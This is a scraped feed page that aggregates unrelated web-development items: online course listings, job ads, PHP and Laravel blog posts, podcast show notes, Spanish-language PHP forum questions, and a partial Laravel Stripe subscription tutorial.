SkillSuccess is the hub to learn any skill on your own time, at your own pace. Take your learning anywhere you go on any device including your computer, tv, tablet or mobile phone. Their support team is at your service with a click of a button. Emails answered quickly and live chat standing by.

Introduction To React & Redux: Code Web Apps In JavaScript


KEY FEATURES

Used by the likes of Instagram, Facebook, Netflix, and Imgur, React is an efficient and flexible JavaScript library for building user interfaces. Meanwhile, Redux is a predictable state container that helps you manage the data your pages display. Together, these two tools play a key part in building professional, well-functioning apps; and you'll explore mastering them both in this training.

  • Access 22 sections of content 24/7
  • Explore creating web apps w/ React & Redux
  • Learn how to lay out a web app in a logical way
  • Walk through the foundations of building a single-page app using React Router

PRODUCT SPECS

Important Details

  • Length of time users can access this course: lifetime
  • Access options: web streaming
  • Certification of completion included
  • Redemption deadline: redeem your code within 30 days of purchase
  • Experience level required: intermediate

Requirements

  • Internet required
  • Basic HTML/CSS knowledge

THE EXPERT

Instructor

John Bura has been programming games since 1997 and teaching since 2002. John is the owner of the game development studio Mammoth Interactive. This company produces XBOX 360, iPhone, iPad, Android, HTML 5, ad-games and more. Mammoth Interactive recently sold a game to Nickelodeon! John has been contracted by many different companies to provide game design, audio, programming, level design and project management. To this day, John has 40 commercial games that he has contributed to. Several of the games he has produced has risen to the top 10 in the Apple's app store. In his spare time, John likes to play ultimate Frisbee, cycle and work out.

Bootstrap 4 Rapid Web Development


KEY FEATURES

Meet Bootstrap 4, an incredibly popular HTML, CSS, and JavaScript framework for developing responsive, mobile-friendly sites. With the right Bootstrap knowledge, you can rapidly prototype your ideas and streamline their development. Jump into this course, and you'll explore Bootstrap 4's latest features as you walk through creating a navbar, adding modals, and more.

  • Access 3 sections of content 24/7
  • Walk through creating websites w/ Bootstrap
  • Get hands-on training making a navbar, modals & more
  • Dive into Bootstrap 4's latest features
  • PRODUCT SPECS

    Important Details

    • Length of time users can access this course: lifetime
    • Access options: web streaming
    • Certification of completion included
    • Redemption deadline: redeem your code within 30 days of purchase
    • Experience level required: beginner

    Requirements

    • Internet required

    THE EXPERT

    Instructor

    SkillSuccess is the hub to learn any skill on your own time, at your own pace. Take your learning anywhere you go on any device including your computer, tv, tablet or mobile phone. Their support team is at your service with a click of a button. Emails answered quickly and live chat standing by.

Learn JavaScript AJAX In 1 Hour


KEY FEATURES

Short for Asynchronous JavaScript And XML, AJAX allows you to create websites that can update without having to refresh the page—a beautifully intuitive feature that can make your pages much more user-friendly. This course will take you through the AJAX essentials in just one hour, so you can get started building more responsive, user-friendly sites right away.

  • Access 1 section of content 24/7
  • Walk through using AJAX calls to create responsive pages
  • Create pages that can update without refreshing
  • Explore creating seamless, interactive content step-by-step

PRODUCT SPECS

Important Details

  • Length of time users can access this course: lifetime
  • Access options: web streaming
  • Certification of completion included
  • Redemption deadline: redeem your code within 30 days of purchase
  • Experience level required: beginner

Requirements

  • Internet required
  • Basic JavaScript and HTML knowledge

THE EXPERT

Instructor

SkillSuccess is the hub to learn any skill on your own time, at your own pace. Take your learning anywhere you go on any device including your computer, tv, tablet or mobile phone. Their support team is at your service with a click of a button. Emails answered quickly and live chat standing by.

          Back-end PHP Developer - Magento - regio Brugge/Kortrijk      Cache   Translate Page      
Back-end PHP Developer - Magento - regio Brugge/Kortrijk in Brugge - Oostende
          8 Creative Ways to Use Up Your 2018 Health Care Dollars      Cache   Translate Page      

Once again, the holidays have snuck up on me. It happens every year – the calendar flips to November and bam – I’m hit with toy catalogues and holiday commercials. While you’re making your list and checking it twice, pencil in some time to think about your flexible spending account (FSA). FSAs are valuable, tax-saving […]

The post 8 Creative Ways to Use Up Your 2018 Health Care Dollars appeared first on The Daily Dose | CDPHP Blog.


          PHP - Rotar una imagen con PHP (Versión 1)      Cache   Translate Page      

Rotar una imagen con PHP

Simple código para rotar una imagen jpg, png o gif

rotate-php

Versión: Versión 1

Publicado el 04 de Diciembre del 2018 por xve

          RR 391: Frontend Testing Like a Rubyist with Josh Justice      Cache   Translate Page      

Panel:

  • Dave Kimura
  • Charles Max Wood
  • Nate Hopkins

Special Guest: Josh Justice

In this episode of Ruby Rogues, the panelists talk with Josh Justice who is a developer, writer, and speaker. Josh streams JavaScript and web development on Friday’s at 2:00 PM (ET) here! The panelists and the guest talk about Josh’s background and frontend testing in Ruby. Check it out!

Show Topics:

0:00 – Advertisement: Sentry.io

1:04 – Chuck: Hi! Dave, Nate, and myself are on the panel and our special guest is Josh Justice! I am developing a show about developer freedom and it’s called The DevRev. It will be streamed through YouTube, and I will record Friday afternoons. Check out Facebook, too!

2:11 – Josh: Thanks! I am happy to be here!

2:18 – Chuck: Introduce yourself, please!

2:24 – Josh: I have been a developer for about 14 years. I have used PHP and then got into Ruby and then frontend development.

2:46 – Chuck: You work for Big Nerd Ranch in Atlanta?

2:56 – Josh: Yep for the last 3-4 years!

3:15 – Chuck: Can you introduce the topic?

3:25 – The guest talks about Big Nerd Ranch and frontend development. Learn TDD is mentioned, too! Check it out here!

5:06 – Panel: How much bouncing do you do between React and Vue?

5:11 – Guest.

5:47 – Chuck: We need to get you on our podcast shows for React and Vue! It’s an approach that I am familiar with in Ruby – and Selenium what a pain!

6:16 – Guest: I’ve had a good experience with Cypress, actually!

7:47 – Guest: Panelist, can you share your experiences?

7:57 – Panel: Not bad experiences with testing, but now I am trying to minimize my use with JavaScript.

8:30 – Guest: I think there is a big push towards considering more server site rendering.

9:35 – Panel: What’s your recommendation to setup Cypress?

9:40 – Guest: Their docs are really great! They had some conference talks on how to set it up!

10:15 – Guest: Check out my talks about this topic. (Connect Tech 2018).

10:29 – Panel: I think Cypress is a pretty cool solution but one thing that left me confused is that you have to have an environment that is already stood-up and running. Is that accurate or has that changed?

11:00 – Guest: Can you clarify what you mean by a “running environment”?

11:04 – Panelist clarifies.

11:44 – Guest: Luckily for me I have something to say b/c I tried a week ago!

12:01 – Guest mentions Vue CLI 3.

14:38 – Panel: How can you test your code coverage? I want to know how much of my code coverage am I hitting? The applications are up and running, it’s not going through the files (per se), and is there anything that would indicate how good your coverage is with the Cypress test?

15:10 – Guest: Let me as a follow-up question: How do you approach it on the frontend?

15:24 – Panelist answers the guest’s question.

16:06 – The guest mentions Vue CLI 2 & 3.

18:31 – Chuck: Are you using the tool Istanbul?

18:36 – Guest: Yep Istanbul is the one!

18:54 – Chuck: I’ve heard some similar rumors, but can’t say.

19:02 – Panelist talks.

20:13 – Chuck: I have been working on a project and what doesn’t get test-coverage gets a candidate to get pulled-out.

20:40 – Guest: Talking about test-driven development...

Guest: Have you read the original book?

21:02 – Guest: The book: “Effective Testing with RSpec 3” is updated information – check it out!

The guest mentions his live stream on Friday’s. Check out the links found below!

23:57 – Panel: How is the stability with tests like Cypress with end-to-end tests? If you are testing with a login then the user has to be already created. Or what about a Twitter app – the user has to be created and not followed? How do you handle that?

24:22 – Guest: I think we are spoiled in the Rails world b/c of those...

24:53 – The guest answers the panelist’s question!

26:59 – Fresh Books!

28:07 – Guest: Does that help?

28:10 – Panel.

28:21 – Guest: I have been thinking about this, though, recently. Thinking about the contracts through the business. I have dabbled with native development and I see the cost that runs a native app.

30:21 – Panel: It’s refreshing to hear the new market’s demands. I truly haven’t seen an application that requires that. I have built some extensive applications and also very simple ones, too; the need for productivity.

31:17 – Guest mentions a talk at a conference. See here for that information!

31:43 – Guest: I have a friend who was a new developer and he really knows his stuff. He said that he didn’t know if he could be a full stack developer in the next 5-10 years. Wait a minute?!

Guest: The freedom to create something that stands alone.

Guest: Tom Dale is mentioned by the Guest.

33:35 – Panel: To choose Rails as a new developer (today) it’s not as easy as it was back in the day. Today you have Active Job, Action Cable and so many other components. It’s more complicated today then it was in the past. It could be overwhelming to a new developer.

35:00 – Chuck: I think a lot of that is the community’s fault and not Rails’ fault.

35:57 – Panel.

36:04 – Panel: The counter-argument could say that’s where server-less come in.

36:27 – Chuck: To some degree you can get away with it. You don’t have to worry about the infrastructure or anything else.

36:44 – Panel: Have you tried messing around with server-less functions with AWS? I have and...it’s not easy. There is not a good flow or good work flow in a server-less environment.

38:01 – Chuck: You can go to this website. It makes the setup easier b/c you are adding your Azure or AWS features.

38:30 – Panel: This topic, though, does tie back to the testing topic we were talking about earlier!

39:14 – Panel: Yeah that is why I haven’t gotten into server-less things. The Rails holistic approach is so appealing.

40:14 – Panel continues: I want to take smaller steps when it comes to technology! I want to move into things that we are laying down the tracks to make it easier travelable. That way we can consider the things we’ve learned in the past and help those in the future.

41:07 – Chuck: What are lacking then? What is the friction that is left? Seems like Cypress helped removed that but maybe not?

42:02 – Panelist mentions Cypress, Jest, Mocha, and others!

43:10 – Panel (continues): I am all about experimenting but I want to know all the reasons. What has changed and what hasn’t’ changed?

43:29 – Panel: There is an article written that talks about this topic.

43:59 – Guest mentions the video “Is TDD Dead?” (See links below.)

44:29 – Guest: I like brining thoughts together and taking his or her input and come up with my own thoughts. 

46:32 – Guest (continues): The testing trophy is heavier on the top (picture of a trophy).

Guest: I think the thing that draws me to unit testing is that...

47:37 – Guest: I am obsessed with testing.

The guest gives a summary here!

48:15 – Chuck: We talked with Quincy Larson last week and it’s a really good take on what we are doing and what we are trying to accomplish with our tests. Check it out – it’s coming out soon!

49:05 – Panel: When you are younger into your career – the way you think about structuring your code – when you are comfortable you really don’t need that guidance.

50:00 – Guest: I would encourage folks who were new to coding to do the following...

51:36 – Guest: Think about WHY you are doing (what you are doing) and being able to articulate well what you are doing and why.

52:03 – Panel: There is no question – every time I test I am surprised how much it shapes my thinking about the code and how many bugs that I catch even in code that I thought was operating well. When you go too far though there is a fallacy there.

52:54 – Panel: Yes, testing is very important. I am a test-after-the-fact programmer. That is my self-key term. Don’t write 500-line methods b/c you won’t be able to test that. Don’t make it too abstract so have a common pattern that you will use. Have a lot of private methods that aren’t exposed to the API.

54:03 – Guest: Yes thinking about how to structure your code can be challenging at first but it gets easier.

55:58 – Chuck: I have had talks with Corey Haines about topics like this!

56:47 – Guest: Yes it can be helpful in consultancy now.

59:23 – Guest: Think about this: choosing what level to test at.

1:00:14 – Panel: It’s hard b/c it changes all the time per function or something else. There are tradeoffs with everything we do.

1:00:41 – Chuck: You are the consultant it depends doesn’t it?

1:00:51 – Picks!

1:00:55 – Advertisement: Get A Coder Job!

End – Cache Fly!

Links:

Sponsors:

Picks:

Nate

Dave

Charles

Josh


          The Future of Web Programming      Cache   Translate Page      
I was having an interesting discussion yesterday about web programming languages with a friend of mine during which we tackled various programming languages (PHP, Java, VB and C#) and their competitive nature for web programming. I found it very useful to place a summary (yet a detailed one) about this topic due to the interestingly arguable nature of this topic...

PHP:Past, Current and Future

I will start with PHP simply because it is still my favourite web scripting language. Back in 1998, when I first tackled PHP, many programmers that I knew used to make fun out of it (same way they used to make fun out of Search Engine Optimization back then as well ;) starting from its recursive name (PHP stands for PHP Hypertext Processor) reaching the naive (yet powerful) nature of the language back then. I always had my bet that one day PHP will have to evolve into an application development language (like Java or C# nowadays). Luckily now, I can safely say that is almost here with the presence of the ZendServer, PHP 5, Zend Framework and PHP-GTK. A good business solution nowadays can easily outbeat other applications in terms of performance, stability and speed of production simply by using the tools listed just above. Although these tools are not yet well-know at the commercial levels, they are being introduced (as far as I know) at many academic levels and will make it (in the very near future) to the commercial setting.

As far as the community is involved, I can safely say that PHP did a huge progress over the past two years. Back in 2003-2004, many programmers (and I was almost going to be one of them) moved into JSP with the J2EE being so powerful back then giving up while waiting for a mature and stable PHP framework to support them. Being stubborn, I insisted back then on sticking to PHP and worked for almost 4 months (full-time) back then to produce my first set of PHP modules to be used for Rapid Application Development (RAD) within websites. Lately, I ported my modules into CakePHP and Zend Framework whose combined power is ultimate for high-traffic websites that can serve hundreds of thousands of requests / hour peaking at thousands of concurrent requests with as low as 10% of CPU usage and 1 GB of RAM.

A very simple, yet convincing example of this are two websites that I developed: www.yellowpages.com.lb and www.al-sharq.com. For commercial confidentiality purposes, I cannot reveal numbers in here. Yet, you can visit these websites to get a glance about the dazzling power behind PHP performance when combined with Linux, MySQL, APC and the Zend Framework.

 

Java: The Enterprise Programming Language

I just love Java! I love its powerful architecture, community and powerful solutions. Yet, one main feature lacks Java to make it into the daily websites that people visit: low resource footprint. Java is well known for its huge resource utilization at the server level. A normal website developed in JSP will require at least 2 GB of RAM to properly cache JSP files. Performance, on the other hand, cannot be surpassed by any other web programming languate that I know about (make sure to add your comment if you know about one). The only thing is that you cannot have 50 websites sharing the same server unless you have at least 8 GB of RAM dedicated for the JSP container.

 

Visual Basic: Bye Bye!

VB is dying. Believe it or not, this language will not make it to the 2015 year. If you don't dump it now, Microsoft will in the few coming years (if not months) to give way for C#. Although it will still be used at the OS level, I don't see any reason why programmers will still be using it (unless they are like some of my friends who insist on using VB simply because they know VB and are too lazy to learn another language :)

 

C#: The Microsoft Bet!

Let us talk some facts here. Microsoft learned a lot from VB and learned a lot from J++ and learned a lot from the various applications / servers / services that were offered back in the recent past. As a result, Microsoft has put all of the experience gained into releasing an object-oriented language that is powerful (like Java), easy to learn (like VB) and with a low footprint (supposedly low) like PHP. I am not claiming in any way that I am a C# expert in here (believe I am not one) but I recently benchmarked a web application developed using C# for one of my clients during a security audit and I was surprised by the various security features that were introduced at the security level (especially exceptions) and at the performance level (the server handled 1024 concurrent requests / second for almost 2 minutes before it crashed). I must mention here that this benchmark is completely related to the way the application was written but it helped me gain a little more experience with how C# handles run-time errors and introduced me to the performance tweaks that IIS can help with if programmers get to know them. This lead me to conclude that Microsoft will be pushing forward with C# for the years to come with the hope to get back the old days of VB programming and move forward from there.

 

Conclusion

Let me make this conclusion short. If you want the details behind it, read the article again.

If you are new to programming and are interested in Website development, learn PHP. This is the key to go.

If you just love Microsoft, learn C#.

If you want to make it into Enterprise programming, learn Java.

Better yet, why not learn them all?

 

 

 


          OTTONE PESANTE „Apocalips”      Cache   Translate Page      
Notice: Undefined index: layout_id in /hermes/bosnacweb02/bosnacweb02ae/b2002/dot.sylwesterba/public_html/metalcentre/wp-content/themes/forceful-lite/library/front.php on line 982 B.R.ASS, 2018 Music: Heavy Brass Metal / Neoclassical Music / Instrumental Music / Experimental Music Website: http://www.ottonepesante.it/ Duration: 43:00 minutes (9 tracks) Country: Italy   Metal Music can be interpreted in many ways, like bands such HAYSEED DIXIE or STEVE’N’SEAGULLS, APOCALYPTICA, VAN CANTO. Of course, the most of them play controversial cover-songs. But they also...
          Enabling CORS on IIS server of version 7 and 10?      Cache   Translate Page      

How do I enable CORS on IIS server of version 7 and on version 10?
According to documentation that I have read, it should be sufficient to include Access-Control-Allow-Origin = "*" in the webconfig (after installing cors.exe).

When we now call some php script via the chrome webbrowser, everything works fine, but when we call the same script via an android device, we do not get a connection.

What are we doing wrong?


          Freek Van der Herten: Configuring PhpStorms code generation      Cache   Translate Page      

Freek Van der Herten has a tutorial posted to his site sharing some customizations you can make to PHP code generation in PhpStorm to fix some issues he's noticed in his own development work in the IDE.

I've been using PhpStorm for quite some time now, but never took the effort to fix a few minor annoyances I had with it.

He shows how to change the generation for:

  • Getting rid of the default comment for new PHP files
  • Compact docblocks for instance variables
  • Fixing the placement of the caret
  • Using fully qualified class names in doc blocks
  • Changing the default visibility

The final item in the post isn't so much a code generation change as it is a tip for saving these changes and your other configuration options. He shows how to back them up on a git repository out on GitHub.


          Laravel News: Speeding Up PHP with OPcache in Docker      Cache   Translate Page      

The Laravel News site has a new tutorial posted showing how to speed up your PHP execution when developing with Docker by making use of the OPCache functionality.

If you’re on Docker for Mac or Docker for Windows, you might see some noticeable slowness and time to the first byte (TTFB) depending on your application’s setup. One of the most important things you can do to improve performance is enabling the OPCache module (regardless of the development environment). There are other things like volume caching (if possible), but OPcache is a win that you want in any environment you’re running PHP applications.

The tutorial starts by sharing a basic Opcache configuration, setting values for timestamp validation, memory consumption, and fast shutdown. These values are static and not very flexible so they change things up by making them able to be set as a part of the Docker build process. The post includes the changes you'll need to make to your Docker configuration to make this setup work in two ways: either copying the file in on build or making use of environment variables to set the configuration options at runtime.


          Community News: Recent posts from PHP Quickfix (12.05.2018)      Cache   Translate Page      

Recent posts from the PHP Quickfix site:


          php[architect]: The Case for Generics in PHP      Cache   Translate Page      

The php[architect] site has posted an article pulled from their November 2018 issue providing a case for generics in PHP.

To elucidate their merit, we will look at how they might fit within the evolution of PHP’s type system to put us in a position to write more robust software:

“How can I signal that my method will return a Collection of User objects? And why would I want to do that?”

The article starts with a look at generics in other languages and how they're handled (such as Java and C#). From there they shift over to PHP, giving a code sample of a class that is typed to only accept one kind of value for its constructor. They provide an update for this that would work in PHP 7.4 (with typed properties) and how with the help of generics it would be simpler to define a more dynamic type requirement, allowing for more generalized class descriptions.


          TutsPlus.com: Object-Oriented PHP With Classes and Objects      Cache   Translate Page      

On the TutsPlus.com site, they've posted a tutorial for those wanting to get started with object-oriented programming (OOP) in PHP. In this introductory article they cover the basics of objects, classes and several over OOP-related topics.

In this article, we're going to explore the basics of object-oriented programming in PHP. We'll start with an introduction to classes and objects, and we'll discuss a couple of advanced concepts like inheritance and polymorphism in the latter half of this article.

The tutorial starts with the basics, explaining some of the key terms involved in OOP and how they can be manipulated. From there they include code examples of classes, making instances of them as objects and accessing properties and methods. With those basics out of the way, they move on to more advanced topics: encapsulation, inheritance and the basics of polymorphism.


          Phoronix: PHP 7.3 Performance Benchmarks Are Looking Good Days Ahead Of Its Release      Cache   Translate Page      

Phoronix has a new post to their blog sharing some benchmark results for PHP 7.3, the next major language release, and things are looking positive!

Released on Thursday was PHP 7.3 RC6 as the last planned pre-release for the upcoming PHP 7.3. Here are some benchmarks looking at the PHP 7.3 performance compared to PHP releases going back to the v5.5 series on a Linux server.

[...] I ran some fresh benchmarks over the past day on PHP 5.5.38, PHP 5.6.38, PHP 7.0.32, PHP 7.1.24, PHP 7.2.12, and the PHP 7.3.0-RC6 test release. [...] PHP 7.3 is just shy of 10% faster than PHP 7.2 in the popular PHPBench. PHP 7.3 is 31% faster than PHP 7.0 or nearly 3x the speed of PHP5.

The post includes more benchmarks that reinforce this same trend with both the Zend performance testing and their own testing framework.

Overall, PHP 7.3 is shaping up to be another notable upgrade to the PHP7 series for its continued performance improvements, the new PHP FFI interface, and other new additions for this PHP release due out in early December.

          Comment on Working with Vue.js in WebStorm by Ekaterina Prigara      Cache   Translate Page      
Hello, You want to debug the PHP backend in an app with the Vue.js frontend, right? Unfortunately, I have zero experience in PHP, but I'm sure that my colleagues from the PhpStorm team will be glad to explain how to do that in PhpStorm. Please contact them using this form: https://intellij-support.jetbrains.com/hc/en-us/requests/new Select PhpStorm as a product.
          Comment on Working with Vue.js in WebStorm by Charles      Cache   Translate Page      
Greetings Ekaterina, Can you add on to this article details on setting up, running and debugging php on a vue project(When using npm run debug).. or point me in the right direction?
          Lập Trình Viên ERP (Senior)      Cache   Translate Page      
Tp Hồ Chí Minh - -Thành thạo một trong các ngôn ngữ lập trình sau đây: Python Java C #. NET ASP.NET PHP - Cơ sở dữ liệu: Có kinh nghiệm ít nhất... hình kinh doanh ứng dụng công nghệ hiện đại. - Chương trình đào tạo chuyên nghiệp, nhiều cơ hội thăng tiến. - Thu nhập ổn định và các chế...
          Lập Trình Viên ERP (Senior)      Cache   Translate Page      
Tp Hồ Chí Minh - nhập bằng: Lập Trình Viên ERP (Senior) CÔNG TY CỔ PHẦN HHD GROUP Ngày cập nhật: 04/12/2018 Thông Tin Tuyển Dụng Nơi làm việc: Cấp... -Thành thạo một trong các ngôn ngữ lập trình sau đây: Python Java C #. NET ASP.NET PHP - Cơ sở dữ liệu: Có kinh nghiệm ít nhất một DBMS...
          Food Tech - Pink Heaven Bakeshop and Bistro - Talisay      Cache   Translate Page      
*Job Summary* Responsible for the safe and efficient development, modification and manufacture of food products and processes. *Job Type / Category* Can... PHP 12,000 - PHP 20,000 a month
From Indeed - Tue, 04 Dec 2018 16:27:51 GMT - View all Talisay jobs
          Restaurant/Store Supervisor - Pink Heaven Bakeshop and Bistro - Talisay      Cache   Translate Page      
*Job Summary* To manage restaurant operations towards the attainment of set store targets by providing exceptional guest service and ensuring operational... PHP 15,000 - PHP 20,000 a month
From Indeed - Tue, 04 Dec 2018 16:04:38 GMT - View all Talisay jobs
          Cook - Rodi's Pares - Talisay      Cache   Translate Page      
*Job Summary* * with experience working in a fast paced environment * with experience in handling, preparing, cooking famous Filipino cuisine, especially... PHP 10,000 - PHP 14,000 a month
From Indeed - Thu, 29 Nov 2018 11:53:47 GMT - View all Talisay jobs
          Barista - Bo's Coffee - Talisay      Cache   Translate Page      
*Minimum Requirements: * * At least college level * With or without experience * Customer oriented * Friendly and with pleasing personality * Good... PHP 386 a day
From Indeed - Sat, 17 Nov 2018 08:03:27 GMT - View all Talisay jobs
          Junior Accountant - Tahche Outsourcing Services Inc. - Talisay      Cache   Translate Page      
*JUNIOR ACCOUNTANT / ACCOUNTING PERSONNEL* Qualifications: * Graduate of BS in Accountancy or BS in Management Accounting or related field * At least one-two... PHP 15,000 - PHP 20,000 a month
From Indeed - Thu, 15 Nov 2018 10:59:21 GMT - View all Talisay jobs
          Sales Associate – (Globe Telecom - Gaisano Tabunok) - People4People (Quaerito Qualitas Inc.) - Talisay      Cache   Translate Page      
Qualifications: * Candidate must be a Graduate of any 4-year course, any field * Preferably with experience, but fresh graduates are welcome to apply. * With... PHP 12,000 - PHP 12,500 a month
From Indeed - Thu, 15 Nov 2018 03:02:36 GMT - View all Talisay jobs
          Credit and Collection Assistant - DO IT MARKETING CO., PHILIPPINES INC. - Talisay      Cache   Translate Page      
*Main Responsibilities: * The collections clerk position is accountable for collecting the maximum amount of overdue funds from customers, which may include... PHP 10,200 - PHP 12,000 a month
From Indeed - Tue, 13 Nov 2018 05:39:31 GMT - View all Talisay jobs
          CMS (WordPress) developer - The Moving Pixel - West Bengal      Cache   Translate Page      
Web Developer knowing PHP & WordPress Requirements: Strong knowledge of WordPress development Excellent knowledge of PHP, HTML/HTML5, CSS/CSS3, JavaScript,...
From The Moving Pixel - Sun, 14 Oct 2018 05:06:05 GMT - View all West Bengal jobs
          PHP function(script) to convert msg file to pdf file on ubuntu server      Cache   Translate Page      
I am after a script/function i can call within my php page that will conver a msg file save on the server and convert it and save it in in another folder. (Budget: £10 - £20 GBP, Jobs: HTML, Linux, PHP, Software Architecture)
          Magento / PHP Developer - urgent      Cache   Translate Page      
MN-Minneapolis, Magento / PHP Developer - Minneapolis, MN – 6-12+months Experience developing Magento 2 extensions is preferred, but willing to look at expert PHP developers. Full requirements below: Technical requirements Minimum of 3-5 years PHP web development experience Minimum of 3 years real-world e-commerce experience with Magento development in the last 2 years Firm grasp of Git-based source control Compe
          PHP DEVELOPER      Cache   Translate Page      
NC-Raleigh, PHP DEVELOPER The Select Group is seeking a PHP Developer to add to a growing team with one of our top clients in downtown Raleigh, NC. Really looking for someone has 5+ years of PHP Developer experience and a basic understanding of Linux system administration and basic automation concepts. The ideal candidate will have experience developing PHP applications. * Open to candidates to sit on-site or
          Senior PHP Developer      Cache   Translate Page      
TX-Houston, ID- CTRAJP00004046 Title- Senior PHP Developer Location- 12 Greenway Plaza Suite 250 , Houston TX-77046 Duration-12 Months contract+ To support back-end services and the interchange of data between the server and the users. Your primary focus will be the development of all server-side logic, API's, definition and maintenance of the central database, and ensuring high performance and responsiveness
          Web Services Lead      Cache   Translate Page      
DC-Washington, Web Services Lead - Washington, DC Contract-to-Hire Description Softworld is seeking an individual with strong technical leadership and exceptional collaboration skills to manage a team of 4-6 developers and analysts. This person will have a chance to take on leadership, managerial and mentoring duties while coordinating activities of a team tasked with maintaining and enhancing PHP applications.
          Technology Architect - US      Cache   Translate Page      
CA-Newark, Infosys- Technology Architect - US - PHP 7, Symphony Infosys is a global leader in technology services and consulting. We enable clients in more than 50 countries to create and execute strategies for their digital transformation. From engineering to application development, knowledge management and business process management, we help our clients find the right problems to solve, and to solve thes
          PHP function(script) to convert msg file to pdf file on ubuntu server      Cache   Translate Page      
I am after a script/function i can call within my php page that will conver a msg file save on the server and convert it and save it in in another folder. (Budget: £10 - £20 GBP, Jobs: HTML, Linux, PHP, Software Architecture)
          Php y Facebook Messages      Cache   Translate Page      

Php y Facebook Messages

Hola a todos gracias por la ayiuda.

Con la siguiente URL se consigue abrir desde una web mobil tu Facebook Messagener.

http://m.me/<PAGE_NAME>/

Lo que nesecito es pasar un texto ( ejemplo: art1) por la url

http://m.me/<PAGE_NAME>?=art1

Osea podria mandar mensaje presiseñado desde la url para el messegner de Facebook

Gracias por su i guia

Publicado el 05 de Diciembre del 2018 por Leonardo

          consecutivo php y mysql      Cache   Translate Page      

consecutivo php y mysql

Respuesta a consecutivo php y mysql

Gracias por tu respuesta,

No me habían explicado bien el asunto. pido una disculpa

lo que hay que hacer es que cuando se agregue un cliente el una tabla llamada def_cliente en el cual se le asigna un numero que corresponde al rango dentro de la tabla def_consecutivo el contador aumente ya que el contador se refiere al numero de clientes que existen dentro de ese rango

Publicado el 05 de Diciembre del 2018 por luis

          consecutivo php y mysql      Cache   Translate Page      

consecutivo php y mysql

Respuesta a consecutivo php y mysql

Hola Luis!
Sería algo así? Usando sentencias preparadas.

function AddContador( $iddef_consecutivo ) { $link=conectarBD() ; $sentencia = $link->prepare("SELECT contador, desde, hasta FROM def_consecutivo WHERE iddef_consecutivo = ? " ); $sentencia->bind_param("i", $iddef_consecutivo ); //vincula los parámetros con la sentencia (el simbolo ?). $sentencia->execute(); // ejecuta la sentencia preparada. ...

Publicado el 05 de Diciembre del 2018 por Javier

          consecutivo php y mysql      Cache   Translate Page      

consecutivo php y mysql

Buen día tengo una tabla en mysql llamada "def_consecutivo"

en la que hay un campo id:

iddef_consecutivo | desde | hasta | contador

el id es un campo para identificar rangos

desde es para el inicio del rango de numeros

hasta para el fin del rango

contador para el contador de datos que debe incrementarse


quiero hacer una funcion en php que me ayude a ver e insertar el siguien...

Publicado el 05 de Diciembre del 2018 por luis

          Pasar sesiones de una pagina a otra      Cache   Translate Page      

Pasar sesiones de una pagina a otra

Respuesta a Pasar sesiones de una pagina a otra

Gracias por tu corrección. las variables no se pasan, están almacenadas en el servidor.
mi ejemplo que expongo es muy simple.

hago lo que me explican

<?php session_start(); ?> ............... .............. etec <p>Nombre: <?php echo $_SESSION['nombre'];?></p> <p>NIT: <?php echo $_SESSION['nit'];?></p> <p>Celular: <?php echo $_SESSION['celular'];?></p>
Publicado el 05 de Diciembre del 2018 por siREZ

          Migrar de PHP 5 a PHP 7... problemas con la variable de sesión $_SESSION      Cache   Translate Page      

Migrar de PHP 5 a PHP 7... problemas con la variable de sesión $_SESSION

Cordial Saludo.
Tengo inconvenientes con las variables de session en PHP 7

ejemplo sencillo

<?php session_start(); $_SESSION["nombre"] = "siREZ"; $_SESSION["tipo"] = "Administrador"; echo "<br><br>Sesion: ";print_r($_SESSION); echo "<meta http-equiv='refresh' content='05;url=prog2.php' />"; ?>
logicamente me imprime:

Publicado el 05 de Diciembre del 2018 por siREZ

          PHP 7.2 upgrade      Cache   Translate Page      

The PHP developers deprecated mcrypt in version 7.1, and removed support in version 7.2. Applications should use other solutionions like openssl for encryption needs.

If you do decide to install the mcrypt PECL module for PHP 7.2, you’d need to do so using the following commands FOR CPANEL:

yum install https://dl.fedoraproject.org/pub/epel/epel-release-latest-7.noarch.rpm
yum install libmcrypt
yum install libmcrypt-devel
/opt/cpanel/ea-php72/root/usr/bin/pecl install channel://pecl.php.net/mcrypt-1.0.1


          Laravel Stripe Payment Gateway Integration Tutorial With Example      Cache   Translate Page      
Laravel Stripe Payment Gateway Integration Tutorial With Example is today’s leading topic. We will use the Cashier package to integrate Stripe Payment Gateway in Laravel. The demand for Saas based platform is increasing day by day and nowadays building a subscription-based system is universal. So to make it easy on the backend like Laravel, we do need some packages that can help us build scalable, securable, and reliable web applications. Laravel Cashier makes it very simple to integrate Payment Gateway like Stripe. So let us see how we can integrate stripe in Laravel on Subscription based system. Laravel Stripe Payment Gateway Integration Let us first install and configure Laravel 5.7 Step 1: Install and configure Laravel 5.7 Type the following command. laravel new stripesub Go to the project folder and open the project in an editor. I am using VSCode. cd stripesub && code . Install the js dependencies using the following command. npm install Install the Cashier package for Stripe dependencies. composer require laravel/cashier Also, create an authentication scaffold. php artisan make:auth Step 2: Create an essential database migrations Before using Cashier, we’ll also need to prepare the database. We need to add several columns to your users’ table and create new subscriptions and plans table to hold all of our customer’s subscriptions. So, first go to the create_users_table.php and add the following schema. $table->string('stripe_id')->nullable()->collation('utf8mb4_bin'); $table->string('card_brand')->nullable(); $table->string('card_last_four', 4)->nullable(); $table->timestamp('trial_ends_at')->nullable(); Your schema now looks like this. public function up() { Schema::create('users', function (Blueprint $table) { $table->increments('id'); $table->string('name'); $table->string('email')->unique(); $table->timestamp('email_verified_at')->nullable(); $table->string('password'); $table->string('stripe_id')->nullable()->collation('utf8mb4_bin'); $table->string('card_brand')->nullable(); $table->string('card_last_four', 4)->nullable(); $table->timestamp('trial_ends_at')->nullable(); $table->rememberToken(); $table->timestamps(); }); } Now, create two more migrations files. php artisan make:migration create_subscriptions_table php artisan make:migration create_plans_table Now, write the schema on both of the files. First, add the following schema inside the create_subscriptions_table.php file. public function up() { Schema::create('subscriptions', function (Blueprint $table) { $table->increments('id'); $table->unsignedInteger('user_id'); $table->string('name'); $table->string('stripe_id')->collation('utf8mb4_bin'); $table->string('stripe_plan'); $table->integer('quantity'); $table->timestamp('trial_ends_at')->nullable(); $table->timestamp('ends_at')->nullable(); $table->timestamps(); }); } Write the following schema inside the create_plans_table.php file. public function up() { Schema::create('plans', function (Blueprint $table) { $table->increments('id'); $table->string('name'); $table->string('slug')->unique(); $table->string('stripe_plan'); $table->float('cost'); $table->text('description')->nullable(); $table->timestamps(); }); } Save the file and go to the terminal and migrate tables. php artisan migrate Now, add two plans manually on the plans table like this.   Step 3: Get and Set Stripe API Keys First, you need to create an account on Stripe. You can do it on here. 